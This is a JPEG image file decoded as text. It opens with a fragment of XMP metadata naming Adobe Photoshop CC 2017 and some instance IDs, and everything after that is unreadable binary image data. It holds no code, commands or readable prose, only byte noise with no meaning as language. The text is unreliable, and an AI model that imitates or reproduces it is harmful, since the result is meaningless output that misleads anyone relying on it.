xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Macintosh)" xmpMM:InstanceID="xmp.iid:F2F01B7936A011E9B1C0E09BEB4D5F7E" xmpMM:DocumentID="xmp.did:F2F01B7A36A011E9B1C0E09BEB4D5F7E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F2F01B7736A011E9B1C0E09BEB4D5F7E" stRef:documentID="xmp.did:F2F01B7836A011E9B1C0E09BEB4D5F7E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��Adobed����		





�������
!1A"Qaq2��B#�R���br��3CS$4�U�E“�ӄV
!1AQaq����"R�2r�34�Bb#񒂢���$��?�$-2"�*��*oA��j#%�!"
�[Tʮ�Ȼ!�2&�Q�*;��4������ �HQ�������F�B��r��n�V��P*�ꀀ��+4
̊VQEw
������"����"8\f�!���AP��hQ[Ekj��L�B�EoUQ�`�H"PJ(�
 ˂�7(�2�ID�ap[�e�XbYUPAP24%@@�
���*� "**"�QP���%�����(2� �A��%\��.�w&.A��EaZGb4���@�T
� �!AET
�F��TnPJ"�U!j\n�1,��    ����fF�ģJE@Ah���� VJ
���
�W�.U�&P�(�Q�QDPTܘ
ɀަ.WU�*;,A�
UD�TPU�J*((TT@�ÔjeF�QD+P�Â�K�ye(�
+�BT*���24$l,������TT@�
���W�.U%����(�**IJ#*��Arƃ���P@@AT(�UB��"r�8ʍC*)T����fY*�Er�EFJ���h,H�X�T��P]�A�DP��"�"
� �QQ�"8�KU�%*�‚��$�DFJPD���0-(�DA
���T
9F��TjQ�@AD*�,��%�Td��Vh���E2a@S+�fePE�P*�Tڢ-P*�U��PZ��A	PD��z�ˌ�� ��E*�J���-PBPe(4h;1��-P*����T(���U� J9F��TjQDQDB�K$-1 �Z+�B�\&���v�W�L�(�Q�JPD
� ��D7"��7"��7 n@ܠ��7 �Ȭ8���GA*��@A(����Gb2��r	�܁TL�P���IE�T2����&J��IQ�`��h�Q�Bj��P]�QM���
 �̲UFJ"Q�D��z*o@ފo@ށ�z�
��d��#%T(�DB�EZ QA(�DFڪ9�Q2�Dɹ��rnD��C&�2nC)T\�C&�L��2nC%Tj$��ĔEɵ+�&�2�Pɵj�jM�dچP���U�A(��4Aj��E*�U܁�rT
�U܁T�(��@ځ�ڂ�@-A�J Q�$�1-UTZ�U�@�P*�T
�U�(*

�CaF�Q�EA@APZ Q�@�����@AA��Q��!0Pe�(�D��4��EZ"TP�j�ځ�!KPJ(TD�¬J�*����  "4
̷
��HZ�Uj�*�����*�oA�PPD@RZ
Q���.A�PJ �@�
T�
�@ �(�@*���Q
 � �"���DD��*��ʠ "�
 �� � �
e�h,ˬ*�U
�Ur��*�D
��APd��z"� �"��V%������
P
��  �A�j��F�"� �PDQEDDU%bU*��"������"*��f[��ĺB�TE�еDZ�!T��T�((-Pd�W�D@@@U�h*ı�e��d��PD�ڃ`��P*���4
!T
��A	A���T�%UIbUV�*	T@QZ2�4%�F�ET*�UQj�D��*-QP��"�QDY���K��.�T
�U�@@E((6
�܈�ʍn@܈��M�&�rU*�D�
�-"�(�����  (��n��UP��T�((�*
�J��B�\0\�a�P�UDbU@@U�P��!eԢ(�D
 Q��"  �P*�UE�"��P*�T��T��Ih#Ҩ          ((Y�᪬�	U0�+�7+�܁Tj��UP�iX.F���U��ʣ���+UX�t6�Q@�(�EB���	D
 Q�@�
  ("
�@"K`*��TFpQ-0QCpQ�(�
!��(��RZ����.L+%ʢn@܊�r
(.�T.UY%Ud�\�T�UC%Q�PQ��"��%Q
��
Q6�Q�%
 Q�)Dd��(�D
 Q�"	D �BF�F��ah��`�Z!��`�(�
!�j6���0ÔW*+$�3T
���((�UEED(�DL�Z�DZ��@�	T
�9���B�Q��(%PPPTVJ�

�  �@@����jf��D
���(8ފ�r�� 
*��Dd�FHU@AP*�*;*�Pe��%�!(%P*��*�D6��A��5@A��T
�U�@%�p�PB� ��Q[ET��2UFJ�   �;
�PBPJ���2�(-PB� UET
�U@AB
�#Pm%I@4T@AP
7��r U@@AAA�TU���A*�����*
z��J+$�UAAj��*��@E
��*����mA�����(3T4TET��z �A*���EZ��AQ@�Pr�TBQR�%Q���%-QQE�-!D�QAh�D
 Q2@�i�#PiQ��(4h �*�UPPTT(8ރ��2�    �*
��� �T
�  �U�@DPP*�J���@@A�ڳ�6�Cjd6�B��(�R��h�
��ڙ
��ڙr����2UAB
@���
���A��NA� Q�"� �@�D
 �APB�("
����H%UA�
 �

�,��
*��@�	D
 �@�
 QQ@TUaD*��APT�PB�A�B��	D�%(�����@�B��@�(�{P6�m@ځ�jJ Qj�
Pm�El0*`����`(�
&L`��- �*@@AP*�U�@�Pd��3D
 Q�P6���.�j	D
 Qڂm@ځ�j�
�7DR�@�(�Q!�
*�
#A0	�L`��&0	�L`EA�%PZ�U�%P*�U�@�Pe �Z Q�D��(�Q�@�(��EB�%AB+H(AB"�@@@A
�U�Aj��U(���A
�4T@@DDD�2J

�� ����     ��� �!A	A�����@@A
����BJ � �*
��� "�"
���(� �%JU(4��UAPD(2J�4Z��(AP(�D
 �*��U@@A�U�" �AP��QPP�����������������%	A����
P��          �"P*�T@@A*��2J�"�((*��(EUEd��A��(4h �AZ�U�PiDDA@DUAT@A
" ��EPQ
��@�E*�T
�U�@�P*��T��A�� ��PJ��AB
�� "�@�P*���
������
� �@���(��P�ATT
�UE*�T
�U�P*�T
�U�%PBPB� �*PZ�U�%P*�T
��APT��T
�EPPZ����������-J*�T�(�����U�@��
��7 n@܁�rP*�U�%P*���@�PJ� ��APTTA*�TT�U0UA�Q"*"�h �*��(!A��(%P*�T�@�P*�TQT�
�
�TADTE
��FU��T!@APT
�U�PT��A
	UA@@@@TUAPDA��AATADU�UYZ�%P*�T
�(���   �(AAAPT��A���   (
�
�A(���(�D
 EP�T��TQ
��̈�*���� �2P*��@TB��A�E*���*������D@@@��    �UDFDdD5@�ATi*���A
h �A
�A*�T
�U@@@@AT��TETEEAQUQTAP@@PQPD �!Td�2PEA@���TA(*��*��T
��TU@DTQQDQPATF����� *PEE@@@@PDPA
�%J���D
(
�(�����AZ  Q�D
   PQDUEDT@@@TP��Q
�U�@��U�"�@�	UE��T
�U�AB��"
�Q�
 Q��D���D
 Q�@���("���Aj�T
�UUEU

Z�U�Q
�U����@�P*�T
�T*� *���������)D
 Q�APA���T��(-P*�U����
��=��x����d�o\\��N�zV���{";_�.4f��a|��xK�����h���*�|M|	�$���]4��^yg��x�������&
iZ�h��s�um!�^��k-��n�x�Z�@Lt��zO8��.'���Ԛ!(q�1@I���]�Z:sg�����bؘǕ������=��<z��8��V��l�J{}˙[]�����vӼL�	��חcx��쯭�q=�tV���k�p�:M��{)S�Qv��3߄�=I�ۊX]�%ի�c���Iio4��Ƣ�5��	Z�V����q2�=@�?	�q�b�ᴟ��0���1��Ƃwo��.;�.�zWO�ϙ������N�-�(��A�4�Z��kJ����ƬL�>o�jO�m���9�<\��ߌ!��E�1,;ꝡ�P��X�}<���N_�v���ks~����ox�:���9Y<u/�����`�k���v�N�L��|s{zn�X�N<����Y�y##�������DAu�n����|COC5�|~l�~/�������׿�3���֏��~1��E�̘WX���)
c{�6��
~/�'R��Y��ft�����P��O�Wn��68.���G`�W����
w5��v��L�ߞ�qYgˮ-d�>|u��d��	�����G4u��Ā��7�~�ȸ�%�W,�[�hn?TAP�B��k��S��13�bV|�:���Xs7$Il\�%�e�
��w�h�Xc˭�#�E�p FM�j�GF���R3ip�խ+�n�"�F0�1��.~ӭR���}�u�{a���얣�쉡��J�K�\�� ���>�>���-��+26�cX����_G;})]��FSO�}�u�{`�����$���s�d!
��||�%>Ϻ�=��s������ �ڔ
�������>od�ln뭭(
*Zj}�+��=�}�o�{%�Y\=�m���֏��I*}�u�{`����JEgt	�8m���-�������7�\����u1���.�P��)��|=�}����{��.),n���0'P��	�П��}����{��(��H������������7�Gc�m�
u��j�f�|��>���ۭ.a-;c��]����h�f�|��>����-�a���Duor�@����6���=���r�V�:�k2��CL�mZ[�����I������^�Z-h�.X�K1�9�q�����	=�kF欭f��c�ꖺ7��@�T�Sؽ[-�t�b�����p���SNkYĸyo"�e��Xc�Nk\�co��I$���1�^���OZ�Z�bbs���p�m/�i���<�̲��8ٜ|F���]����.��{�=�~�;l�� ��mYz�\���<�DE�~�~�(?!���x�C��[pk�+�S�������M������0�죉���zP�2�!i���GPH'z����z����
5ѸU�8������V�P�(�OY<t���Abu�o�=ƺҟh�&ln�*�'��?uPf9�+���k��4}�+��Qݷ8;���W�E�u��l��ۜW���?
zTQPA����q�7�2�	����^�"dnuC�k�ƍ���޹��w=5�N���;�g�����K�Y�
�������.��&_Cq���&���VyFf;_b��~n-o��X�M�q�:iC�"(��:��7�#R[iLvã{��2��.9%c�C��dn�lϯM���g��Q��{��9�a����1�7V�����]�5�hs�����>b<�]3<;_�x~S����k�˙q�]�]cm��{�E�ۻ�m	o����^�9��}[nQ�	�ߏ����@�؛)�j�dz�'�])��9�ϛ�V�S����й�K�l�Mf�i<Z����%��5?1��jx���M�m�,=4�_Rb�P�/�y���޺���k��,�[����F���5��s��m��k_�&}q<WSa�:����roMsu�ױ�|-o�;OJ�&k��yKK)Gu]�{�.��W=�v�N��4�w:v+�3B��'vb��|mi��}v���Jt^mY��K:zU��Fx��I���O����7k`�[{�����cX��c��î�E4��=3̾�#1��[i��Y3�y�<-�R�~��n.{�4�Y�U�j}�z��q=�xO��[���qz�X��q��s�O|y���X�]��q�A�]ry��6��;qU���A��ڼ�j[3l�y���Z����/�=V��ey��B�%�$�Գ!b%8�0<��8si�|V���Z�R:k��Ԝ�\��LW���g���Bz�X#!ǫ��vn4���,uçk˲�^Yd�_Z������������ƕ�4 �O���;̦R�閶L��wn1�\]/a��ZЈ����I�g��W�l���b����e��#�;Fk��G��5�[9~q���1׭
>���z}��%�z=�:<J���Ч�؈� �D��
����ކ%@=h~44U&%@�@O�P����^�h�:�EĔ4��Q_�<
'MI>T�sABMC�@���{J��+����5��j�%(�"�MU)z֛��\;h&�?�������_��F��(��%��+�Z�����-��߻�^^�s�m-s@ o5П<�Cࢸ����VV�R�&�Q�=�>q����-�M�Z1�Hf�Lpy���tAڸ��=�]��2	b
���s_�յ��tP{^���^���m/ ���k�٭�kd�F��v���]��I�?�n8�{��X��	\�}0*���,�g��8���X��mh4�-n����U��ƶx��$�ȹΓc�F���EF�ki�YH�m�+�p܇��n�!����M������I^D�^紓��V�Ũ}�ӆ4��X�{[go��
S�pø'kg�Њ�;��\?���>7��a������c�����C�kZ	�����O�oP��b��1�1�.-����=�r�۵��Ҵ�ϓ���������Vmz�#��w�����̿S��ރ�(��Lkft�Ar�l2F�G'n��&85�곧��։�LŢ9r�%�-�h��C���K�1/#���:��%e��k
��3��Z��WM�8�T�y����D?�x����?4�s-ĸ�9&��p��{�as��ڒN���yޟ����W���Pi����O���A���$1��g�V��8,m���mmb�9��O�V劂���xW�y�]��%��.ͼ݃��K�ד�5�]���#�:;[�5"٘��ա���uD�i�����ld7a��ḗ��]�#pcٸ�ԬG��i�:5:|ќw�9w���8�e�����en�qk�.2HjMz�"�}�ɶS?��ݶ�֕:+��<���\å/�����O�$�gѡ��F��Z��m1�51�W���{uOOT�=Q�-��^�C.�3N���p����o�m�1��k�Z�l�?ǡ�.;�sh��>��[v2ܹ�c��>۝^�]��k�Z��SW�U����шũ�힯����a���-��-+d���~KO����{j��W��9t�ښ���+Y���>ǘ���"1�H$��W������}�ѯi�b#���=h���ޢŕ��7c�1v���I[�ի��\�7��p�i}-?�Ӛ��=�}w����|�7�r�j�s�B�<�VZ9�J�cd����kC���Zb+����ԉ��>6�3��kķ��_ܗta�����\'V���k�jR+�{8n{��9�/�f-x�3��`��$�;�KZ#��Rf1�lg��o/�����d> �V�AG�t���}�a�y����|��GB���P����ܭ�2�zQ����`&�S��g�|p���gm��p�TҮ^�
���"��<�M8�hD���8��i_

j���_�>���i��&w=�w|�C���^�)��n����=l<�+L�ﰒK��[�;�a��-�$n�����q6��+s�ǭ��Oc�k�\�o��!��;�pb���&�n�	"�Z~�h�GL�x����?%��(�ֆ�r���}>�|o����я��޿j��bK!h5�}钵��������x�,Oy,�>�m�,.�x/dӘ^����"������^����>>��"�ўR���k���^w����͵�˖,�f�ז0��u�76ݖ�ջ]$�m\&&�����5)�t��9���3۞��#���،�>�v?�������Ec��
y��m��N���[=�9��k\:��~��i:SY���Ӊ��<R֯WVc���Ǜ6�R\o ��;p�g"�I�����+m 1���8�)�غ��R#�N&����s�Y�3>�9��8�?/tz���=w��a�ۦ�Y
X�6�EC�lo���_z�KN+����;�_Z55&u=��r)�n��[6�7�9��gJ�A�7<��{�ۏ�]|B��s�>N<�Yz�6#��G,>���38�_:�'M<��"�ϋ�5�6�O�tq��w>g��5��ph�f�i�ۧ3<"�|���U��}-.�Ff1���<}/3���"��\O0��H��_:;��%�&��e#1����lmuW5���SJ׿9�����]�g=��ڑ�#��/s�"*ױѼh��\�:�����~n՘�Oc$*���ncy��!�����7���B������q����-��i�a�0���iW����}k��ҝW��'3V'��DMll��-n��� �]��\dw����OS��N�?��C{L%�q5�M�
�����u͕���+���mcԒ]\H��G`���ĊQ$~��o���,x[���.�=�}[�`;��mx��C�h8Z��X�z\��l����`���W,�8ę'H׶��[#c��p.#k�������Rg��Y���ื�t�)�xi��\ֽ�nc����{�u&b3�e4���&q=����E��|L�&Z���<��J��oC��֚�c�����O[�yT��>�?P/m��j�a҆��KZ�ؼ󸷗��x�zݬ��O08Z���^h[ܵ�ҟ�
}{y}MF�;q�~)�s%���I��˕tQ���x���d�kZƴ�h�֤��k˸ӭm�8m�1������{gM
}���h���3�s�	�>���Fb�1[͎��\_�ssm�uOz:���uG�y���15�c���t��h�O	����~�I��э/�����ꖁ�k��Ѧ>.�����������8g��;6><e��\B�5�݀��+���|v�F��q\>G�
�h6�����ů���z0r,�nN�i��B_az�3/���1sms����Gq	�X�,Ol��ni#E`~P��"�(?���\e�O$���J9��[�jI�u_��!��q���?4�ٙ���xu�s3�~��mȰx�qww�w0�"�)%��l��V���Ƕ6����������s��k�"�՘�Y��/F;]ٲ�W܉`�]�hj��
��CM�/���;H��?/��y���כͣR�x�g���}?���Ew��kn/��D%a��B�9�����|3Bӷ�}i���虌p���r�)}��~�V+�3�)����Ly9�۠���xtL$�z����yG���qv����k����_P�	[���V��!m��]�]��$]w9�w���b��#.��Gl��p.y���t[�%��=��J�W2�܃���^3Wm���?�e��D��5������1WԜ�}��\LO���K�Y��斸ѯ22A�Ey�Wr���x����q����#��8�����R�j�x��/�3A����<���F���F�{X�h�{5Zә��1�|E��0�ok@qҢ��~?�Ǟ]��Ɉe2�G�'����^xKV��Y~M��c�m=��e-�on�ɮ�9�=�Sx���^:��O�^xҗ{Ӭ%�g����W4w��h1��G�7��F��_��Ӯ�SK5�#�<g�~����|/mY����?<�A?*�K�-�72��Ѵ�.�Wq����x--M��mi��8�>^8�r�>e��qt�9(�u�{t\|���}�lj�Bޏ{�d��x/ڿ3^1�5�����J�qG8��

|A�R%���o�nZؚ���`cCZ߬�kZ�(�._����_T1��Y����r\���?1}+?y�Wk����CO���C���&g.?Բ��ۉ<*�wO���N���+j߶Y3��L�u|K��R�!����Za�g����K$/ ��'������Or��'�e��k�U�7M

�V�д�C��:y��z�Lw,j�;\���Z����W�%"yA{��u���U��N�CQ�~�]�{����q.{�Iq'RI:�V�0��J�>(�&[�d}�{{��'l���R��
�?q����-��i�a�-���6�{���W��2l0���=���LA�����Em�����H�=�����!Aݑ�Z���k�{ˎ�8Py��G�H	dr�8
V����V�����8szWY�{�/��H� nl̷{��֬��
{��f�?Z#�9cN-��L�8<�m�&|��s�M�cu��F�7Dc⍯k"���
���8�z�'e-�Ϸ������:&� �ãs�O.Ԛtq�uw燩�ռۄ�Ov8��Sܛ�?�eqg�[^��U�fa�4�yD���"��j{{/���tOw�ر�_�!y�����ݷ�����Cv?�%�T��&ٚ��m�����	f{`��[�qKf] 	�an��������JE�>)��#�v6���֒Nƺ�mƂ�y5�\��Ώ7
��g{��i�|�r�����s?,Ԃ*:��vc!�<EۯE�6�|.i5;A������]���1�u�燩˧S�9���q��rٹ�s���q%������q��qs�M���Pu�ZZ���G�h��!���M@TD�zW����1��x�2�Y�WT\�"���(�Ҿ+�۽֖��'Rzs����>)�z_[iX����L��Og���<^)���/��b}�o�n#wӶ&?mN��K@֝�o��]{g����]Ɨ�NӞ�#�K��1�O�FG�^F���;���k�Z�桡�}����1�;��Ţ|�<_���5�'�����>i{>�bo'��"|vv���ik]$��Y^�$Ӣ��[�:m~�bu/j��(��wt>�����}\LR�<{�{�mע�_<�Т_#s��������l��;�I�R��v��4?!h��<���od�T��3��F�ܟW��,��.a��rL3�1�o
d�2�͉ᢇkC|�N�f<�}D��}�:��#�BI
k�I���n5��vЎ��z�ȟ��}��.�6��<�=�|�P�
O����h�{}+V��~`�
�ֵƿ3���/�%�,rX;i�RIDi���A4���{Ţ����t���ouukX���<z�b1��r�X[~Cm�2����K�`�Z�6HH����{V�sɝ�Ԛuj�b��l��==��Ӳ�G<Ux�١>�)gx�K�o��v|�^����_��B<��}=��i��̷�������#�4i�����{�8;N߃������T���qIn�X�79�v�����n'o�KZq_�31��]��.�����k�#�g=�v�3k��-�M��_����7U�;JtҴ޾%|;CWy��|�yZ39��p���ף�ׄLq�b?�7��{Al���T��T
¾!~�Cs��3Jr�G�=~N�絶V�D۝�;_��rl>�O����}>�~��oG��W��ă���k/��sá+�||
�Uc��-�����)�]<�6B{A�o��)��Eys}N��7a
4�4h��]�����G�2:���\؛�u+@��c�<�0�`�3ܸPof�i��5����ŭ�Whv�P�UëQ�*�Nc�t�   "�z��K�{�i_3���o���R���4�0ܳӘ��Ƶ�sY�Q���S��^G��\�K+]�V4<0��W�����-/w<�S�F�C���I-�lls��������xvI'�v��^�}����@胮�ʻ���,l��8��^�T�͹=�3�r��C����ݿ+E\\�h�8r���o�.��a9z;k{��w�W�h�ԋd���'��d���.�l�>G9��t��U�!��\[����1oc|֗\�=��H�ok���_u�{�xf;?��Y��ii�V:�-���}�~��V�F�4֢R\u�����6���O�?����)�G���^�\0����,�-���,����]��O��P��S��'���=���h]`�yo�	e�����cx�I'E�ҭ���ϗ��
�5o�y0�����s�X`�H�acwm��3Q{\�7����6y���wO�n6�$��">�o����
�Y��-Lp��FY�G.�nk�E��wR��nUG󗨗ݨx�f�x�1||D��,c7��߰�8xh�jӵ�B���/൶������Mr�ܺ`�;b0Z�TQ���b;��GW{����22�^̮fI/�l(5�`���57�W1�>�9��F[�yeï�a��@�Mn)��uoBW��8���>9QP���q�G��/E���{Lmx/-
���оv����ujתq�x���#�|�B�Y���K��I�X��|�����J��J������$��{y����?Rmmb���5�D��Lq�kA'�:��o���3N39���^���g�Ǯ]�h?"5����|��X�j��~����a~U�fὭ�0Kk�h��=��=�������X�K���e��iؿ�/��f��]�hz�e���Ә����y�`l�[]M)��;-��\Oަ�X��Z�oKo[Kȟ	gc?��_H�#���ψ����k�љ�c��ӭ�����[9/.�]�`5��F��p*Mj��t�뗓SV�#����ܿ+�d��]��U��kO����t�*�(q�����9��S��?Bv�v�
Zx��;�H�/��q��ٯ˖�+�5��ҭqe�u�U�ͷ�۫��|�3��2�Ǎ��[T��,��V�U�k\��5�:{����@c��H�/k�i>](I��c�U���8��g��{�6����k��<���[�t^�-b����>���Zb1�}�[�p�[��� p-s{�}ZF�m5�J��z���=:{�[ۧ5�䇂����s�Yo	i{�L�
����kF�m�Oj��vzu��齿x�iqƌ�~H�����v1���upA���[G���20	Զ6y���+ZZZW���s����[��:�����Gub"=_�s�w�x�'��<L��b;%sHf����k��hi�:U}�����b���=�5�K^���,q�\�g�	��^��澟t�!�з������ퟖ��r�g��'�b_B��RR��b˽\��m#�kuV�)d����M|V<�z�h����w�;�kn��2F�l�?5kV�ָ�ֶ����okњ+�X�yd$�@=	����Vki�q���
�mhp-��CO�c<ۍH�����S�9I�Pm�t�L���5��y�������p���.Z�=?x����t��NQf|EЅXd�Ex�:�`CϘ�0z��~�Ƨ��ѧ�㲝�Kp�.�m���a�l�4���N�s�Ih��#��w�#.av�|�4ޞJ+��qt5��_�z8Xf�6�����'mph�t������Y��Њ�j�)�BUغ3J-�亐����*�q�Z�[q(���R'v�����J<��X�ñsw�7a��g��c"6���i�z�ҫSt����2�s̭s��1��\
���h�Ը{���j��#t���*0�^���ڼښs3�覤D=��qp�<�F�p5�����_FοV�>�8����{H�����ڵV�fuc���yS�[y,r2imn�m{��
����;h#MF�sKt���2���Sn�/�|��1����kz��J�g��f����Û��2^d{͘o�tV��m [B�3���.�ާ�Y�w�s��1��9�sdx�[&I���[g�0��,
�©w��c3zt��y�G�?ss$����@"�9�!f9�������M�j�۪{���]�� g}����rا��]G �FN�H�큱5��Z]}�J�|5i������Ւ^�-͸v�'�=��ye���ܮ;1��K����I�9���
�ӥB�c���TTo���4y��h\@�N�)#���x��-��1�l������tmk�K�����j��q;l���Eq�m��tA�q��[�w��
����iD��
�{9X��tmn��;�o�?q�ۉ��jD��r�F����nr��9��Z<� �Z	����"�q~���f��qp��<�Z��.�FMv���b"c���'�G��e2�<�ܗq�M�5��("����kY]H�?ɧ���I�r��?��.�8�Fb��[��TL�ir縹ھ��U���5��K��Y�$[%�E#Y7}������8���WJm[w&�ijp��>&��C;��]�bEM+�Х�|�Z��(�Ck2<4t4.�C@hJ��_/^3ý���L����8���	{qc��}��`vؘO�P@���55&�DŽ7��hZs�����g����}<?�bֺڷp�F2��,:�ВE�s�r����bs��$�K����4�����aq-s��jWY�����'�<f�<~�Y�c����/$����gڼ�?�\��iA�Y�;^���ws�7*���͓c���9��M�k�I
���Q�S��I�WN����Լ���P��f/��Z�mq�(��`�tTl��$���F֚Qy�4)<&8>�x��m��p�������׮�9[KG3龙ц�s4SDj��"iv�Py���Zt�b2�k�j^�i��Yz��F}�1���d�����T��wosE\ލ�U��s�{c���8�''�W��?�5���?�[��}_QE�g�^u�gq'�u���եn=��uv����p�E���*;�4լ���<Tk�>oxo�j�-\ZV�iң�}��r_���܆|�Q��o��A/U�̼����s>�zr���3�M�V����y�M+q���c�E]���J����k�+��l���T�tӿL�'�C{r<��Y[����K�לOa�{����w��\�"8B��+'�+��ls�.���9���.�B6��v��
����_��F����"�t�q���ъ�@��|�^���8����O�A��"�e�}��%������ƽ����8��(����
`�@1�<�y�p��#�e�F�7�N�ۢ�����j;{
���a�BѻoQ�=���fm��r�ԭ)6���;{�I��3L���h�a�{�+_�i�����{�6Z���N+��~/�O�R8��=��f�{s%c�ܽ��?���������/��WϢ߃Ћ�?V�=�^�3i.;�o��5��y��h��qKr�{�-y=�������q$\�Kߌ�Sak�<<�Z�DW�����[iL�=V�'c�L�Na�_pM��yp뮵+�T;a�fn/�cm 7�E
�5{����P�f��Y�b��p��1�Qaz�>��|�asP<��.�y�r��O'-[W�sn�,=;�)�$�f`$����C.��Z:��I�oR�����G'-=}:�:��u���B���nj�C���	y��v�I�R;\������\�f���-̥��lls��oT�;Ga�L�%�Zq^}>�n8�d�߶@&{�o���8���ӧ�?Wk�mo�՛c����LwL-�}흀������/���o���ޢ�&��C��7�>���9��9|M��δ�d���k��MX�Z\<��Vbq,LLsx�"� �0��RbF;u��Jb{�����y���׊}�j��VAq��� ����E�澖��o�M��5��H4&��]��۹��S�~7
��_�����bG�65�����ҟխW
J��z�m�L�>˘r�Dױ��[���>��$,3v�WmM4�j�7�z�f9����d���f�pX��[<�9��K�ҧ�:�x�L��'q�|�k1��|�w�Oq{;���H������1WOO2孭1��u����Cut��#u���.p��8bq��:���^�ׂܜ|
�kK����KX�SG��W���^�'��.�b3ǹ�a9Ը<���6Kn^esb�;k�n_F�2R=��*J�j�ֶf~���-(�+�w��5�m[i��L�[e�X�-mw
v[)�_+w8�i4qs�Y�<v=z���O昗�9���L�o{�1/k5k]���^���7˾�bs��������-���>���V���J��R�v��D�Q0�.�����-�dags�v�CGn�cN���jb������4���^k�B�;ݽ����#�n��@
Υ5��ǯ.�5ЊOT߯�ǧ<_K��}�}�m��xoqq�)۱�HZ|�-�U�w�/���g1�:���uk��=������hy"��
L�F{��ͦ�����S�;�W�8�Ҏ�ܾ���s_O�_3��oG��K���8�f�Ф�I�ΚB*i��X�z�w�+\��ܳ/Ug.�<:(��[��+Z(|Mu����|[�m32��5:t5UϠ29”�?z\0�
IE�u/��>[Ԓ�o�����f�*Í�̫�V\�����V�3�~����o���R���4�0��䶞� �9%eĎ�di��2A�c��sF��/&��m�bN��<��<�ym
Y�C��D��r��cC���A��Qaس����!À������Ռ����Wot�}K@�H5�|J�[M�+��qj֓6�����soM��7֍�Թ��3Wӝ=�;}o�]}�s_S�W}8�GF/�kA�����9s��Zy�ݩ�щ�g�W�}X�Z�س6�t2�S�a����W���!�������Q�[��B���1�W?s����<��xm��-x��~����L>V�����.��,%̍����~��q�V1Skj~^����9��֬�elZ�s7֑5���f�y$|
�D�
d�.v�Dp��w�Dt�Nsiy�z��-��S��c�J�w���]����pD��6�ܽ?R�13��ƜZ1/;�(�Z���#℗:��c�]�D�{|=��}]j�b��hz��4o�N#��q�Q�g��i.̗-���a�_n^�����n�9���޾��b&՗�r|l�3�A5��:\u�!��VO{� k���}?똬�.W�~��-���a9~*,.:d!kⵁ�i.��O�
>���<_��N0�-��X�p;;d��I��v,��������C05"�i��b�'�g��'�̾�2ܱ�F�[f���yA���#��t������"� ��DԮ�}�
�4��9[����L����kZ�ztg��1g����F),�l���;�S�kKti�>m��}��W��%�+!��*W��}}���3�D��H��
����a�7|���|u��l�oi{YnC�^v����#��/��u4�b&��87���p��%���2i
�jV��p��Z�?��Mt�<����߳��\��5��4���6��
*W�'�z�u���I<&�%��C�곕���w����I��+6kFx�b��~R	>=V9����c�?S�ϊ������~��θ����4��žj�b3=���TLE�X�<&�=�w��yLi�7�E��w�����-��h���m�6��>��?�sCBo���ҙ�V8�|�yG����1�"%�Bz��v��g����OKZ�ҙ�>�����G��_W,v�i�&���5�4��_��o�CkL�|V�(�Ǘ�i��1�J��~{t��=��;�1W���+�˫xc�1ڗ:F�psZ|�o�&�����=�������Z���O)��S�l�|�\6s:inq3^[K���=�D���)Q��w�_o������DZ߫�z�r��?�ٜ}mZ��Vm9�9�Ds��Զ�����h1���bd�PY1p,��t�_?S�7W��ODG����Ķ:W�W��S8��$b=��������B�IK��R�#�_;_W��f8wv?M�^-	�Zo3���|��)҇w‹�>��}>���O��{�R�n��Qa���S
ŝ��	LrJ�H:��u�������������X��KЈm'
Z<���Zy�9�^ˋ73JP�� x+�:��Y�)Z���]��������3F$kH��Q��+[c��ch�9� �*#>(�8�on.ُyqs���u�/�o���R�����m�V��V	�qi �+��^W����m���y��ָ�-�ԊҞ<Py<����$��s�FO`RV�����!À���y������0c�#��v����CE�I�I�&�̍q<b��n��ő�s�2���k���x�����E1���}*��0�|>�2�*�f)V��G_o��T�C�N1�28�H[�H 2Q���Q�4�㯛��Y�e�Y��3�pr[I��)��qs���[�'xc���ui�Y��jֵ����ީ`�����F�Ky�����;��6�LUsk�i�������Ʈ1��ug.�?�.c˱�	��}-����=�т�N����[�	������%�G���Fa֗�`�������5�s)�k�W�~�s����1����?k�[�$��Z)���^y�,~�ʸn��\b��gf�jf��$MV
��׮ѧ�S��-3�m������n�E�a�`y�`4h�k�Wޮ��>E����%�� Y��
{__�����<������P�����8�)�hIS��F�l�r���dh��4������]��tW7AQD;)'q�������_sT��҂���l
��zPO؛���Rbqm��7�A��D�6�V��Df�dns�|0�B_H��>��'7�.�V��~�m����G$�4���1��F�cf=K�����}/Ԟ�f{�<�6W��S��+��Ϛ[�d���sSA3�l$Ү,et����=����:ͫ����m��7֘���w��^ʼn�FFY��~�����P	�oՍ�Xş;Ư������Ә�����:����ܱ������Қ�Ԏ.�LƟ�x�|���q�[J6�RjI�˭��yC��O�e-�<^.RB�|��i,c�GZ8�4���Yæ�z�<�Ĺ��7�`q��[ڶ��6�8nΫ���������|�D��h��)�9��yVG�\�Xɶ����d~���p�T�>~�h��E�#��'��8����ξB�]����M8�'��x�����{q���f�v�چ�[����}N�<��[9�Gq��[m����ͱ�֛c�n""<��0_M�����_����h�:�{W�/7���͵Ѧ�GCK�O�Y�e��d�=��b ��e�$�A/���_��i�bf|��M��X�Zխ{�Rk�{�n=}}g�X-��j;.�lq��!�
U��m|un�V��i�\_��_�m��k7��Ӯq��>~nl��c�f�}ϖB�F�4��nnꚃN�}O�V">��U��1�������Ꝧ�Ӧ8�Zmyp��O�lȰ�EP�\hI�T�W/֦��my�c>��7�v��ֱ��WѺ�ٍ.ysZ>g>���ҝH_�����O�۵�_s��lo�q��O�m~d�۵�_sM��8��p`!�5y�7A��_��?������v�=������qw��1��,��k�'�v������3is���;{k�6).��J��l@jځ����X��Sg�y�Z�zf9��s�����t�k˥/ 88
ߔ�A������M?լ�wz\��XYu&�4�H:��c�6�?�-֙�j�,I�w��6���|_k�'�Jx~�#�9lk�0�.~����O�nי�_sM��Z3��V����_��?�3ỏ������g��Я��?��n����C��w�'��?�훏�����.�tֱ�qI�(d{A�5�
